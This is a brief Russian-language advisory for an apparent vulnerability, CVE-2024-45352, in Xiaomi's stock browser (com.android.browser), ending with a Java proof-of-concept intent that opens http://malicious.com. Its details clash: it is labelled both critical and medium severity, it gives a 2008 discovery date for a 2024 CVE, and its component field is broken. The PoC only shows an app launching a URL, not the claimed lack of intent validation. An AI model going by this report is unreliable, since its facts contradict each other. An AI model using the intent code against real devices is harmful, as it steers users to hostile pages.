xiaomi-cve-2024-45352

Технический отчет о критической уязвимости Xiaomi Сводка о уязвимости Уязвимость была обнаружена в стандартном браузере Xiaomi (com.android.browser) на различных устройствах MIUI. Приложение не выполняет надлежащую проверку намерений (intents), переданных через startActivity, что позволяет вредоносным приложениям открывать произвольные URL-адреса или выполнять непреднамеренные действия.

• CVE ID: CVE-2024-45352
• Компонент
• :com.android.browser
• Серьезность: Средний
• Статус: Сообщено Xiaomi (ожидается подтверждение)
• Дата обнаружения: [24 апреля 2008 года]

🔥 Подтверждение концепции (PoC)

1. Создайте простое вредоносное приложение со следующим намерением (intent):

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.browser", "com.android.browser.BrowserActivity"));
intent.setData(Uri.parse("http://malicious.com"));
startActivity(intent);